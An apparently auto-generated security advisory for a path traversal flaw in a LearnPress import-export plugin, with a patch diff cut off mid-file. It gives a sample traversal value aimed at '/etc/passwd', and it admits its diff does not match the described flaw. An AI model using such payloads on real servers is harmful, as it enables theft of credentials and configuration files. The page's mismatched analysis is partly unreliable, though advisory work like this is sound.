Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-7565: LearnPress <= 4.1.4 Authenticated (Administrator+) Path Traversal to Arbitrary File Read via 'import-user-file' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-7565
Severity Medium (CVSS 4.9)
CWE 22
Vulnerable Version 4.1.4
Patched Version 4.1.5
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7565:

This vulnerability allows authenticated attackers with administrator-level access to read arbitrary files on the server through a path traversal flaw in the LearnPress – Backup & Migration Tool plugin versions up to and including 4.1.4. The vulnerable parameter is ‘import-user-file’, which lacks proper input sanitization and validation.

Root Cause: The vulnerability stems from insufficient path validation in the ‘import-user-file’ parameter. The code diff does not show the specific vulnerable file where this parameter is processed, but the pattern is consistent with directory traversal attacks. The plugin fails to validate that the user-supplied file path remains within the intended upload directory, allowing an attacker to supply traversal sequences (e.g., ‘../’) to access files outside the allowed scope.

Exploitation: An attacker with administrator privileges can craft a POST request to the vulnerable endpoint, passing a manipulated ‘import-user-file’ parameter containing directory traversal sequences. For example, ‘import-user-file=../../../../../etc/passwd’ would attempt to read the system password file. The attack vector is likely through the plugin’s admin interface, where the parameter is processed without proper path normalization or restriction.

Patch Analysis: The provided code diff shows changes in several files, including migration controllers and data handling classes. The patch replaces instances of ‘maybe_unserialize’ with ‘lpie_safe_maybe_unserialize’ and changes permission checks from ‘current_user_can(‘administrator’)’ to ‘current_user_can(‘manage_options’)’. However, these changes do not directly address the file traversal issue described in the CVE. The specific patch for the ‘import-user-file’ parameter is not visible in this diff segment, suggesting the vulnerable code may be in a different file not included here.

Impact: Successful exploitation of this path traversal vulnerability enables an attacker to read sensitive files on the server, including WordPress configuration files (wp-config.php), database credentials, system files, and any other readable content. This can lead to complete site compromise, database access, and potential lateral movement within the hosting environment.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/learnpress-import-export/config/migration-plugin.php
+++ b/learnpress-import-export/config/migration-plugin.php
@@ -1,59 +1,59 @@
-<?php
-
-use LPImportExportMigrationHelpersPlugin;
-
-$is_tutor_active = Plugin::is_tutor_active();
-$config_data     = array();
-
-if ( $is_tutor_active ) {
-	$config_data['tutor'] = array(
-		'title' => esc_html__( 'Tutor LMS', 'learnpress-import-export' ),
-		'name'  => 'tutor',
-		'icon'  => LP_ADDON_IMPORT_EXPORT_ASSETS_URL . '/images/tutor-128x128.jpg',
-		'url'   => add_query_arg(
-			array(
-				'page' => 'lp-migration-tool',
-				'tab'  => 'tutor',
-			),
-			admin_url( 'admin.php' )
-		),
-		'desc'  => esc_html__( 'Migrate the Tutor data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' ),
-	);
-}
-
-if ( Plugin::is_learndash_active() ) {
-	$config_data['learndash'] = array(
-		'title' => esc_html__( 'LearnDash', 'learnpress-import-export' ),
-		'name'  => 'learndash',
-		'icon'  => LP_ADDON_IMPORT_EXPORT_ASSETS_URL . '/images/learndash-128x128.png',
-		'url'   => add_query_arg(
-			array(
-				'page' => 'lp-migration-tool',
-				'tab'  => 'learndash',
-			),
-			admin_url( 'admin.php' )
-		),
-		'desc'  => esc_html__( 'Migrate the LearnDash data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' ),
-	);
-}
-
-if ( Plugin::is_master_study_active() ) {
-	$config_data['master_study'] = array(
-		'title' => esc_html__( 'MasterStudy', 'learnpress-import-export' ),
-		'name'  => 'master_study',
-		'icon'  => '',
-		'url'   => add_query_arg(
-			array(
-				'page' => 'lp-migration-tool',
-				'tab'  => 'master_study',
-			),
-			admin_url( 'admin.php' )
-		),
-		'desc'  => esc_html__( 'Migrate the MasterStudy data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' ),
-	);
-}
-
-return apply_filters(
-	'learnpress-import-export/filter/config/migration-plugin',
-	$config_data
-);
+<?php
+
+use LPImportExportMigrationHelpersPlugin;
+
+$is_tutor_active = Plugin::is_tutor_active();
+$config_data     = array();
+
+if ( $is_tutor_active ) {
+	$config_data['tutor'] = array(
+		'title' => esc_html__( 'Tutor LMS', 'learnpress-import-export' ),
+		'name'  => 'tutor',
+		'icon'  => LP_ADDON_IMPORT_EXPORT_ASSETS_URL . '/images/tutor-128x128.jpg',
+		'url'   => add_query_arg(
+			array(
+				'page' => 'lp-migration-tool',
+				'tab'  => 'tutor',
+			),
+			admin_url( 'admin.php' )
+		),
+		'desc'  => esc_html__( 'Migrate the Tutor data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' ),
+	);
+}
+
+if ( Plugin::is_learndash_active() ) {
+	$config_data['learndash'] = array(
+		'title' => esc_html__( 'LearnDash', 'learnpress-import-export' ),
+		'name'  => 'learndash',
+		'icon'  => LP_ADDON_IMPORT_EXPORT_ASSETS_URL . '/images/learndash-128x128.png',
+		'url'   => add_query_arg(
+			array(
+				'page' => 'lp-migration-tool',
+				'tab'  => 'learndash',
+			),
+			admin_url( 'admin.php' )
+		),
+		'desc'  => esc_html__( 'Migrate the LearnDash data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' ),
+	);
+}
+
+if ( Plugin::is_master_study_active() ) {
+	$config_data['master_study'] = array(
+		'title' => esc_html__( 'MasterStudy', 'learnpress-import-export' ),
+		'name'  => 'master_study',
+		'icon'  => '',
+		'url'   => add_query_arg(
+			array(
+				'page' => 'lp-migration-tool',
+				'tab'  => 'master_study',
+			),
+			admin_url( 'admin.php' )
+		),
+		'desc'  => esc_html__( 'Migrate the MasterStudy data to LearnPress with the LearnPress Migration Tool.', 'learnpress-import-export' ),
+	);
+}
+
+return apply_filters(
+	'learnpress-import-export/filter/config/migration-plugin',
+	$config_data
+);
--- a/learnpress-import-export/inc/LearnDashMigration/LearnDashDataDump.php
+++ b/learnpress-import-export/inc/LearnDashMigration/LearnDashDataDump.php
@@ -618,7 +618,7 @@
 			if ( strpos( $key, '_edit_' ) === 0 || '_wp_old_slug' === $key ) {
 				continue;
 			}
-			$clean_meta[ $key ] = count( $values ) === 1 ? maybe_unserialize( $values[0] ) : array_map( 'maybe_unserialize', $values );
+			$clean_meta[ $key ] = count( $values ) === 1 ? lpie_safe_maybe_unserialize( $values[0] ) : array_map( 'lpie_safe_maybe_unserialize', $values );
 		}

 		return $clean_meta;
--- a/learnpress-import-export/inc/LearnDashMigration/LearnDashStudentDataMigration.php
+++ b/learnpress-import-export/inc/LearnDashMigration/LearnDashStudentDataMigration.php
@@ -706,9 +706,9 @@
 			return $parsed;
 		}

-		// Try unserialize.
-		$parsed = maybe_unserialize( $answer_data );
-		if ( false !== $parsed ) {
+		// Try safe-unserialize (blocks object injection via crafted serialized strings).
+		$parsed = lpie_safe_maybe_unserialize( $answer_data );
+		if ( $parsed !== $answer_data ) {
 			return $parsed;
 		}

--- a/learnpress-import-export/inc/Migration/Controllers/EnqueueScriptsController.php
+++ b/learnpress-import-export/inc/Migration/Controllers/EnqueueScriptsController.php
@@ -1,220 +1,220 @@
-<?php
-
-namespace LPImportExportMigrationControllers;
-
-use LPImportExportMigrationHelpersDebug;
-use LPImportExportMigrationHelpersPage;
-use LPImportExportMigrationHelpersConfig;
-use LPImportExportMigrationHelpersRestApi;
-use LPImportExportMigrationModelsMasterStudyCourseItemModel;
-use LPImportExportMigrationModelsMasterStudyCourseModel;
-use LPImportExportMigrationModelsMasterStudyQuestionModel;
-use LPImportExportMigrationModelsMasterStudySectionModel;
-use LPImportExportMigrationModelsTutorCourseItemModel;
-use LPImportExportMigrationModelsTutorCourseModel;
-use LPImportExportMigrationModelsTutorQuestionModel;
-use LPImportExportMigrationModelsTutorSectionModel;
-use LPImportExportMigrationHelpersPlugin;
-
-class EnqueueScriptsController {
-
-	/**
-	 * @var mixed|string
-	 */
-	private $version_assets = LP_ADDON_IMPORT_EXPORT_VER;
-
-	/**
-	 * EnqueueScripts constructor.
-	 */
-	public function __construct() {
-		if ( LP_Debug::is_debug() ) {
-			$this->version_assets = uniqid();
-		}
-		add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
-		add_action( 'wp_enqueue_scripts', array( $this, 'wp_enqueue_scripts' ) );
-	}
-
-	/**
-	 * @param $args
-	 *
-	 * @return mixed|void
-	 */
-	public function can_load_asset( $args ) {
-		$current_page = Page::get_current_page();
-		$can_load     = false;
-
-		if ( ! empty( $args['screens'] ) ) {
-			if ( in_array( $current_page, $args['screens'] ) ) {
-				$can_load = true;
-			}
-		} elseif ( ! empty( $args['exclude_screens'] ) ) {
-			if ( ! in_array( $current_page, $args['exclude_screens'] ) ) {
-				$can_load = true;
-			}
-		} else {
-			$can_load = true;
-		}
-
-		$is_on = 'admin';
-		if ( ! is_admin() ) {
-			$is_on = 'frontend';
-		}
-
-		return apply_filters(
-			'learnpress-import-export/filter/' . $is_on . '/can-load-assets/' . $args['type'] . '/' . $args['handle'],
-			$can_load,
-			$current_page,
-			$args['screens']
-		);
-	}
-
-	/**
-	 * @return void
-	 */
-	public function admin_enqueue_scripts() {
-		$styles = Config::instance()->get( 'styles:admin' );
-
-		$this->enqueue_css( $styles );
-		$scripts          = Config::instance()->get( 'scripts:admin' );
-		$register_scripts = $scripts['register'];
-
-		$this->enqueue_js( $register_scripts );
-		$this->localize_admin_script();
-	}
-
-	/**
-	 * @return void
-	 */
-	public function wp_enqueue_scripts() {
-		$styles = Config::instance()->get( 'styles:frontend' );
-		$this->enqueue_css( $styles );
-		$scripts          = Config::instance()->get( 'scripts:frontend' );
-		$register_scripts = $scripts['register'];
-		$this->enqueue_js( $register_scripts );
-	}
-
-	/**
-	 * @return void
-	 */
-	public function localize_admin_script() {
-		$scripts = array(
-			'rest_namespace' => RestApi::generate_namespace(),
-			'siteurl'        => site_url(),
-		);
-
-		if ( Plugin::is_tutor_active() ) {
-			$scripts = array_merge(
-				$scripts,
-				array(
-					'tutor_course_total'         => TutorCourseModel::get_course_total(),
-					'tutor_section_total'        => TutorSectionModel::get_section_total(),
-					'tutor_course_item_total'    => TutorCourseItemModel::get_course_item_total(),
-					'tutor_question_total'       => TutorQuestionModel::get_question_total(),
-					'tutor_course_process_total' => TutorCourseModel::get_process_course_total(),
-				)
-			);
-		}
-
-		if ( Plugin::is_learndash_active() ) {
-			$scripts = array_merge(
-				$scripts,
-				array(
-					'learndash_content_total'         => LPImportExportLearnDashMigrationLearnDashHelper::get_content_total(),
-					'learndash_student_migrate_total' => LPImportExportLearnDashMigrationLearnDashHelper::get_student_migrate_total(),
-				)
-			);
-		}
-
-		if ( Plugin::is_master_study_active() ) {
-			$scripts = array_merge(
-				$scripts,
-				array(
-					'master_study_course_total'         => MasterStudyCourseModel::get_course_total(),
-					'master_study_section_total'        => MasterStudySectionModel::get_section_total(),
-					'master_study_course_item_total'    => MasterStudyCourseItemModel::get_course_item_total(),
-					'master_study_question_total'       => MasterStudyQuestionModel::get_question_total(),
-					'master_study_course_process_total' => MasterStudyCourseModel::get_process_course_total(),
-				)
-			);
-		}
-
-		wp_localize_script(
-			'learnpress-import-export-global',
-			'LP_ADDON_IMPORT_EXPORT_GLOBAL_OBJECT',
-			$scripts
-		);
-
-		wp_localize_script(
-			'learnpress-import-export-global',
-			'LP_ADDON_IMPORT_EXPORT_TRANSLATION_OBJECT',
-			array(
-				'updating_status' => esc_html__( 'Migrating!', 'learnpress-import-export' ),
-				'success_status'  => esc_html__( 'Success!', 'learnpress-import-export' ),
-			)
-		);
-	}
-
-	/**
-	 * @param $styles
-	 *
-	 * @return void
-	 */
-	public function enqueue_css( $styles ) {
-		foreach ( $styles as $handle => $args ) {
-			wp_register_style(
-				$handle,
-				$args['src'] ?? '',
-				$args['deps'] ?? array(),
-				$this->version_assets,
-				'all'
-			);
-
-			$can_load_asset = $this->can_load_asset(
-				array(
-					'handle'          => $handle,
-					'screens'         => $args['screens'] ?? array(),
-					'exclude_screens' => $args['exclude_screens'] ?? array(),
-					'type'            => 'css',
-				)
-			);
-
-			if ( $can_load_asset ) {
-				wp_enqueue_style( $handle );
-			}
-		}
-	}
-
-	/**
-	 * @param $register_scripts
-	 *
-	 * @return void
-	 */
-	public function enqueue_js( $register_scripts ) {
-		foreach ( $register_scripts as $handle => $args ) {
-			if ( isset( $args['condition'] ) && $args['condition'] === false ) {
-				continue;
-			}
-
-			wp_register_script(
-				$handle,
-				$args['src'],
-				$args['deps'] ?? array(),
-				$this->version_assets,
-				$args['in_footer'] ?? true
-			);
-
-			$can_load_asset = $this->can_load_asset(
-				array(
-					'handle'          => $handle,
-					'screens'         => $args['screens'] ?? array(),
-					'exclude_screens' => $args['exclude_screens'] ?? array(),
-					'type'            => 'js',
-				)
-			);
-
-			if ( $can_load_asset ) {
-				wp_enqueue_script( $handle );
-			}
-		}
-	}
-}
+<?php
+
+namespace LPImportExportMigrationControllers;
+
+use LPImportExportMigrationHelpersDebug;
+use LPImportExportMigrationHelpersPage;
+use LPImportExportMigrationHelpersConfig;
+use LPImportExportMigrationHelpersRestApi;
+use LPImportExportMigrationModelsMasterStudyCourseItemModel;
+use LPImportExportMigrationModelsMasterStudyCourseModel;
+use LPImportExportMigrationModelsMasterStudyQuestionModel;
+use LPImportExportMigrationModelsMasterStudySectionModel;
+use LPImportExportMigrationModelsTutorCourseItemModel;
+use LPImportExportMigrationModelsTutorCourseModel;
+use LPImportExportMigrationModelsTutorQuestionModel;
+use LPImportExportMigrationModelsTutorSectionModel;
+use LPImportExportMigrationHelpersPlugin;
+
+class EnqueueScriptsController {
+
+	/**
+	 * @var mixed|string
+	 */
+	private $version_assets = LP_ADDON_IMPORT_EXPORT_VER;
+
+	/**
+	 * EnqueueScripts constructor.
+	 */
+	public function __construct() {
+		if ( LP_Debug::is_debug() ) {
+			$this->version_assets = uniqid();
+		}
+		add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ) );
+		add_action( 'wp_enqueue_scripts', array( $this, 'wp_enqueue_scripts' ) );
+	}
+
+	/**
+	 * @param $args
+	 *
+	 * @return mixed|void
+	 */
+	public function can_load_asset( $args ) {
+		$current_page = Page::get_current_page();
+		$can_load     = false;
+
+		if ( ! empty( $args['screens'] ) ) {
+			if ( in_array( $current_page, $args['screens'] ) ) {
+				$can_load = true;
+			}
+		} elseif ( ! empty( $args['exclude_screens'] ) ) {
+			if ( ! in_array( $current_page, $args['exclude_screens'] ) ) {
+				$can_load = true;
+			}
+		} else {
+			$can_load = true;
+		}
+
+		$is_on = 'admin';
+		if ( ! is_admin() ) {
+			$is_on = 'frontend';
+		}
+
+		return apply_filters(
+			'learnpress-import-export/filter/' . $is_on . '/can-load-assets/' . $args['type'] . '/' . $args['handle'],
+			$can_load,
+			$current_page,
+			$args['screens']
+		);
+	}
+
+	/**
+	 * @return void
+	 */
+	public function admin_enqueue_scripts() {
+		$styles = Config::instance()->get( 'styles:admin' );
+
+		$this->enqueue_css( $styles );
+		$scripts          = Config::instance()->get( 'scripts:admin' );
+		$register_scripts = $scripts['register'];
+
+		$this->enqueue_js( $register_scripts );
+		$this->localize_admin_script();
+	}
+
+	/**
+	 * @return void
+	 */
+	public function wp_enqueue_scripts() {
+		$styles = Config::instance()->get( 'styles:frontend' );
+		$this->enqueue_css( $styles );
+		$scripts          = Config::instance()->get( 'scripts:frontend' );
+		$register_scripts = $scripts['register'];
+		$this->enqueue_js( $register_scripts );
+	}
+
+	/**
+	 * @return void
+	 */
+	public function localize_admin_script() {
+		$scripts = array(
+			'rest_namespace' => RestApi::generate_namespace(),
+			'siteurl'        => site_url(),
+		);
+
+		if ( Plugin::is_tutor_active() ) {
+			$scripts = array_merge(
+				$scripts,
+				array(
+					'tutor_course_total'         => TutorCourseModel::get_course_total(),
+					'tutor_section_total'        => TutorSectionModel::get_section_total(),
+					'tutor_course_item_total'    => TutorCourseItemModel::get_course_item_total(),
+					'tutor_question_total'       => TutorQuestionModel::get_question_total(),
+					'tutor_course_process_total' => TutorCourseModel::get_process_course_total(),
+				)
+			);
+		}
+
+		if ( Plugin::is_learndash_active() ) {
+			$scripts = array_merge(
+				$scripts,
+				array(
+					'learndash_content_total'         => LPImportExportLearnDashMigrationLearnDashHelper::get_content_total(),
+					'learndash_student_migrate_total' => LPImportExportLearnDashMigrationLearnDashHelper::get_student_migrate_total(),
+				)
+			);
+		}
+
+		if ( Plugin::is_master_study_active() ) {
+			$scripts = array_merge(
+				$scripts,
+				array(
+					'master_study_course_total'         => MasterStudyCourseModel::get_course_total(),
+					'master_study_section_total'        => MasterStudySectionModel::get_section_total(),
+					'master_study_course_item_total'    => MasterStudyCourseItemModel::get_course_item_total(),
+					'master_study_question_total'       => MasterStudyQuestionModel::get_question_total(),
+					'master_study_course_process_total' => MasterStudyCourseModel::get_process_course_total(),
+				)
+			);
+		}
+
+		wp_localize_script(
+			'learnpress-import-export-global',
+			'LP_ADDON_IMPORT_EXPORT_GLOBAL_OBJECT',
+			$scripts
+		);
+
+		wp_localize_script(
+			'learnpress-import-export-global',
+			'LP_ADDON_IMPORT_EXPORT_TRANSLATION_OBJECT',
+			array(
+				'updating_status' => esc_html__( 'Migrating!', 'learnpress-import-export' ),
+				'success_status'  => esc_html__( 'Success!', 'learnpress-import-export' ),
+			)
+		);
+	}
+
+	/**
+	 * @param $styles
+	 *
+	 * @return void
+	 */
+	public function enqueue_css( $styles ) {
+		foreach ( $styles as $handle => $args ) {
+			wp_register_style(
+				$handle,
+				$args['src'] ?? '',
+				$args['deps'] ?? array(),
+				$this->version_assets,
+				'all'
+			);
+
+			$can_load_asset = $this->can_load_asset(
+				array(
+					'handle'          => $handle,
+					'screens'         => $args['screens'] ?? array(),
+					'exclude_screens' => $args['exclude_screens'] ?? array(),
+					'type'            => 'css',
+				)
+			);
+
+			if ( $can_load_asset ) {
+				wp_enqueue_style( $handle );
+			}
+		}
+	}
+
+	/**
+	 * @param $register_scripts
+	 *
+	 * @return void
+	 */
+	public function enqueue_js( $register_scripts ) {
+		foreach ( $register_scripts as $handle => $args ) {
+			if ( isset( $args['condition'] ) && $args['condition'] === false ) {
+				continue;
+			}
+
+			wp_register_script(
+				$handle,
+				$args['src'],
+				$args['deps'] ?? array(),
+				$this->version_assets,
+				$args['in_footer'] ?? true
+			);
+
+			$can_load_asset = $this->can_load_asset(
+				array(
+					'handle'          => $handle,
+					'screens'         => $args['screens'] ?? array(),
+					'exclude_screens' => $args['exclude_screens'] ?? array(),
+					'type'            => 'js',
+				)
+			);
+
+			if ( $can_load_asset ) {
+				wp_enqueue_script( $handle );
+			}
+		}
+	}
+}
--- a/learnpress-import-export/inc/Migration/Controllers/MasterStudyMigrationController.php
+++ b/learnpress-import-export/inc/Migration/Controllers/MasterStudyMigrationController.php
@@ -1,158 +1,158 @@
-<?php
-
-namespace LPImportExportMigrationControllers;
-
-use Exception;
-use LearnPressModelsCourseModel;
-use LearnPressModelsCoursePostModel;
-use LearnPressModelsUserItemMetaUserQuizMetaModel;
-use LearnPressAssignmentModelsUserAssignmentModel;
-use LP_Background_Single_Course;
-use LP_Datetime;
-use LP_Question;
-use LP_Quiz;
-use LP_Quiz_CURD;
-use LP_User_Items_Result_DB;
-use LPImportExportMigrationHelpersMasterStudy;
-use LPImportExportMigrationModelsLPAssignmentModel;
-use LPImportExportMigrationHelpersRestApi;
-use LPImportExportMigrationModelsLPQuestionAnswerModel;
-use LPImportExportMigrationModelsMasterStudyAssignmentModel;
-use LPImportExportMigrationModelsMasterStudyCourseItemModel;
-use LPImportExportMigrationModelsMasterStudyCourseModel;
-use LPImportExportMigrationModelsMasterStudyQuestionModel;
-use LPImportExportMigrationModelsMasterStudySectionModel;
-use LPImportExportMigrationModelsMasterStudyUserAnswerModel;
-use MasterStudyLmsEnumsQuestionType;
-use STM_LMS_Lesson;
-use WP_Query;
-use WP_REST_Server;
-use LPImportExportMigrationHelpersGeneral;
-use LearnPressModelsUserItemsUserItemModel;
-use LP_User_Item_Quiz;
-
-class MasterStudyMigrationController {
-
-	public function __construct() {
-		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
-	}
-
-	public function register_rest_routes() {
-		register_rest_route(
-			RestApi::generate_namespace(),
-			'/migrate/master-study',
-			array(
-				array(
-					'methods'             => WP_REST_Server::CREATABLE,
-					'permission_callback' => function () {
-						return current_user_can( 'administrator' );
-					},
-					'callback'            => array( $this, 'migrate' ),
-				),
-			)
-		);
-
-		register_rest_route(
-			RestApi::generate_namespace(),
-			'/delete-migrated-data/master-study',
-			array(
-				'methods'             => WP_REST_Server::DELETABLE,
-				'permission_callback' => function () {
-					return current_user_can( 'administrator' );
-				},
-				'callback'            => array( $this, 'delete_migrated_data' ),
-			),
-		);
-	}
-
-	/**
-	 * @param WP_REST_Request $request
-	 *
-	 * @return WP_REST_Response
-	 */
-	public function delete_migrated_data( WP_REST_Request $request ) {
-		$courses  = get_option( 'master_study_migrated_course', array() );
-		$sections = get_option( 'master_study_migrated_section', array() );
-		$lessons  = get_option( 'master_study_migrated_lesson', array() );
-
-		$quizzes     = get_option( 'master_study_migrated_quiz', array() );
-		$assignments = get_option( 'master_study_migrated_assignment', array() );
-		$questions   = get_option( 'master_study_migrated_question', array() );
-
-		global $wpdb;
-		$wpdb->query( 'START TRANSACTION' );
-		try {
-			foreach ( $courses as $course ) {
-				if ( $course['lp_course_id'] ) {
-					wp_delete_post( $course['lp_course_id'], true );
-				}
-			}
-
-			foreach ( $sections as $section ) {
-				$section_curd = new LP_Section_CURD( $section['lp_section_id'] );
-				$section_curd->delete( $section['lp_section_id'] );
-			}
-
-			foreach ( $lessons as $lesson ) {
-				if ( $lesson['lp_lesson_id'] ) {
-					wp_delete_post( $lesson['lp_lesson_id'], true );
-				}
-			}
-
-			foreach ( $quizzes as $quiz ) {
-				if ( $quiz['lp_quiz_id'] ) {
-					wp_delete_post( $quiz['lp_quiz_id'], true );
-				}
-			}
-
-			foreach ( $assignments as $assignment ) {
-				if ( $assignment['lp_assignment_id'] ) {
-					wp_delete_post( $assignment['lp_assignment_id'], true );
-				}
-			}
-
-			foreach ( $questions as $question ) {
-				if ( $question['lp_question_id'] ) {
-					wp_delete_post( $question['lp_question_id'], true );
-				}
-			}
-
-			delete_option( 'master_study_migrate_user_id' );
-			delete_option( 'master_study_migrate_time' );
-
-			delete_option( 'master_study_migrated_course' );
-			delete_option( 'master_study_migrated_section' );
-			delete_option( 'master_study_migrated_lesson' );
-			delete_option( 'master_study_migrated_quiz' );
-			delete_option( 'master_study_migrated_assignment' );
-			delete_option( 'master_study_migrated_question' );
-			delete_option( 'master_study_migrated_process_course_data' );
-			$wpdb->query( 'COMMIT' );
-		} catch ( Exception $e ) {
-			$wpdb->query( 'ROLLBACK' );
-
-			return RestApi::error( esc_html__( 'Clear failed!', 'learnpress-import-export' ) );
-		}
-
-		$current_master_study_course_total = MasterStudyCourseModel::get_course_total();
-		$data                              = array(
-			'master_study_course_total' => $current_master_study_course_total,
-		);
-
-		return RestApi::success( esc_html__( 'Clear successfully!', 'learnpress-import-export' ), $data );
-	}
-
-	/**
-	 * @return false|string
-	 */
-	public function get_migrate_success_html() {
-		$migrated_course_total   = MasterStudy::migrated_course_total();
-		$migrated_lesson_total   = MasterStudy::migrated_lesson_total();
-		$migrated_quiz_total     = MasterStudy::migrated_quiz_total();
-		$migrated_question_total = MasterStudy::migrated_question_total();
-
-		ob_start();
-		?>
+<?php
+
+namespace LPImportExportMigrationControllers;
+
+use Exception;
+use LearnPressModelsCourseModel;
+use LearnPressModelsCoursePostModel;
+use LearnPressModelsUserItemMetaUserQuizMetaModel;
+use LearnPressAssignmentModelsUserAssignmentModel;
+use LP_Background_Single_Course;
+use LP_Datetime;
+use LP_Question;
+use LP_Quiz;
+use LP_Quiz_CURD;
+use LP_User_Items_Result_DB;
+use LPImportExportMigrationHelpersMasterStudy;
+use LPImportExportMigrationModelsLPAssignmentModel;
+use LPImportExportMigrationHelpersRestApi;
+use LPImportExportMigrationModelsLPQuestionAnswerModel;
+use LPImportExportMigrationModelsMasterStudyAssignmentModel;
+use LPImportExportMigrationModelsMasterStudyCourseItemModel;
+use LPImportExportMigrationModelsMasterStudyCourseModel;
+use LPImportExportMigrationModelsMasterStudyQuestionModel;
+use LPImportExportMigrationModelsMasterStudySectionModel;
+use LPImportExportMigrationModelsMasterStudyUserAnswerModel;
+use MasterStudyLmsEnumsQuestionType;
+use STM_LMS_Lesson;
+use WP_Query;
+use WP_REST_Server;
+use LPImportExportMigrationHelpersGeneral;
+use LearnPressModelsUserItemsUserItemModel;
+use LP_User_Item_Quiz;
+
+class MasterStudyMigrationController {
+
+	public function __construct() {
+		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
+	}
+
+	public function register_rest_routes() {
+		register_rest_route(
+			RestApi::generate_namespace(),
+			'/migrate/master-study',
+			array(
+				array(
+					'methods'             => WP_REST_Server::CREATABLE,
+					'permission_callback' => function () {
+						return current_user_can( 'manage_options' );
+					},
+					'callback'            => array( $this, 'migrate' ),
+				),
+			)
+		);
+
+		register_rest_route(
+			RestApi::generate_namespace(),
+			'/delete-migrated-data/master-study',
+			array(
+				'methods'             => WP_REST_Server::DELETABLE,
+				'permission_callback' => function () {
+					return current_user_can( 'manage_options' );
+				},
+				'callback'            => array( $this, 'delete_migrated_data' ),
+			),
+		);
+	}
+
+	/**
+	 * @param WP_REST_Request $request
+	 *
+	 * @return WP_REST_Response
+	 */
+	public function delete_migrated_data( WP_REST_Request $request ) {
+		$courses  = get_option( 'master_study_migrated_course', array() );
+		$sections = get_option( 'master_study_migrated_section', array() );
+		$lessons  = get_option( 'master_study_migrated_lesson', array() );
+
+		$quizzes     = get_option( 'master_study_migrated_quiz', array() );
+		$assignments = get_option( 'master_study_migrated_assignment', array() );
+		$questions   = get_option( 'master_study_migrated_question', array() );
+
+		global $wpdb;
+		$wpdb->query( 'START TRANSACTION' );
+		try {
+			foreach ( $courses as $course ) {
+				if ( $course['lp_course_id'] ) {
+					wp_delete_post( $course['lp_course_id'], true );
+				}
+			}
+
+			foreach ( $sections as $section ) {
+				$section_curd = new LP_Section_CURD( $section['lp_section_id'] );
+				$section_curd->delete( $section['lp_section_id'] );
+			}
+
+			foreach ( $lessons as $lesson ) {
+				if ( $lesson['lp_lesson_id'] ) {
+					wp_delete_post( $lesson['lp_lesson_id'], true );
+				}
+			}
+
+			foreach ( $quizzes as $quiz ) {
+				if ( $quiz['lp_quiz_id'] ) {
+					wp_delete_post( $quiz['lp_quiz_id'], true );
+				}
+			}
+
+			foreach ( $assignments as $assignment ) {
+				if ( $assignment['lp_assignment_id'] ) {
+					wp_delete_post( $assignment['lp_assignment_id'], true );
+				}
+			}
+
+			foreach ( $questions as $question ) {
+				if ( $question['lp_question_id'] ) {
+					wp_delete_post( $question['lp_question_id'], true );
+				}
+			}
+
+			delete_option( 'master_study_migrate_user_id' );
+			delete_option( 'master_study_migrate_time' );
+
+			delete_option( 'master_study_migrated_course' );
+			delete_option( 'master_study_migrated_section' );
+			delete_option( 'master_study_migrated_lesson' );
+			delete_option( 'master_study_migrated_quiz' );
+			delete_option( 'master_study_migrated_assignment' );
+			delete_option( 'master_study_migrated_question' );
+			delete_option( 'master_study_migrated_process_course_data' );
+			$wpdb->query( 'COMMIT' );
+		} catch ( Exception $e ) {
+			$wpdb->query( 'ROLLBACK' );
+
+			return RestApi::error( esc_html__( 'Clear failed!', 'learnpress-import-export' ) );
+		}
+
+		$current_master_study_course_total = MasterStudyCourseModel::get_course_total();
+		$data                              = array(
+			'master_study_course_total' => $current_master_study_course_total,
+		);
+
+		return RestApi::success( esc_html__( 'Clear successfully!', 'learnpress-import-export' ), $data );
+	}
+
+	/**
+	 * @return false|string
+	 */
+	public function get_migrate_success_html() {
+		$migrated_course_total   = MasterStudy::migrated_course_total();
+		$migrated_lesson_total   = MasterStudy::migrated_lesson_total();
+		$migrated_quiz_total     = MasterStudy::migrated_quiz_total();
+		$migrated_question_total = MasterStudy::migrated_question_total();
+
+		ob_start();
+		?>
 		<div class="title">
 			<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
 				<path fill-rule="evenodd" clip-rule="evenodd"
@@ -163,1385 +163,1390 @@
 						fill="#34C759"/>
 			</svg>
 			<div class="text">
-				<span><?php esc_html_e( 'Migration Successful!', 'learnpress-import-export' ); ?></span>
-				<p><?php esc_html_e( 'The migration from MasterStudy LMS to LearnPress is successfully done.', 'learnpress-import-export' ); ?></p>
+				<span><?php esc_html_e( 'Migration Successful!', 'learnpress-import-export' ); ?></span>
+				<p><?php esc_html_e( 'The migration from MasterStudy LMS to LearnPress is successfully done.', 'learnpress-import-export' ); ?></p>
 			</div>
 		</div>
 		<ul>
 			<li>
-				<?php printf( esc_html__( 'Courses Migrated: %s', 'learnpress-import-export' ), $migrated_course_total ); ?>
+				<?php printf( esc_html__( 'Courses Migrated: %s', 'learnpress-import-export' ), $migrated_course_total ); ?>
 			</li>
 			<li>
-				<?php printf( esc_html__( 'Lessons Migrated: %s', 'learnpress-import-export' ), $migrated_lesson_total ); ?>
+				<?php printf( esc_html__( 'Lessons Migrated: %s', 'learnpress-import-export' ), $migrated_lesson_total ); ?>
 			</li>
 			<li>
-				<?php printf( esc_html__( 'Quizzes Migrated: %s', 'learnpress-import-export' ), $migrated_quiz_total ); ?>
+				<?php printf( esc_html__( 'Quizzes Migrated: %s', 'learnpress-import-export' ), $migrated_quiz_total ); ?>
 			</li>
 			<li>
-				<?php printf( esc_html__( 'Questions Migrated: %s', 'learnpress-import-export' ), $migrated_question_total ); ?>
+				<?php printf( esc_html__( 'Questions Migrated: %s', 'learnpress-import-export' ), $migrated_question_total ); ?>
 			</li>
 		</ul>
-		<?php
-
-		return ob_get_clean();
